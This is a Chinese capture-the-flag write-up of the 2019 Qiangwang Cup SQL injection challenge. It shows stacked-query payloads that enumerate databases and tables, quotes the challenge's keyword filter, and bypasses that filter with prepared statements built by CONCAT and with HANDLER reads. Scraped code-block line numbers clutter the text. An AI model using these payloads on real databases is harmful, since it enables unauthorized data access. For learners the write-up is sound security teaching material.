2019强网杯web
# 随便注
知识点
- multi_query 导致的堆叠注入
- select|update|delete|drop|insert|where|. 过滤绕过:预处理
随便试试,发现存在 sql 注入,单引号闭合。
1' 报错
1' and 1=1# 正常
1' and 1=2# 正常,无回显
1
2
3
2
3
看数据库 看表 1';show databases;show tables;--+
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
尝试 select
,发现被屏蔽
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1
# 绕过select
# sql预处理
sql预处理
SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
1
2
3
4
2
3
4
1';
SET @sql=CONCAT('se','lect * from `1919810931114514`;');
PREPARE stmt from @sql;
execute stmt;
1
2
3
4
2
3
4
# handler
HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
1
2
3
2
3
上次更新: 2021/08/02, 11:26:39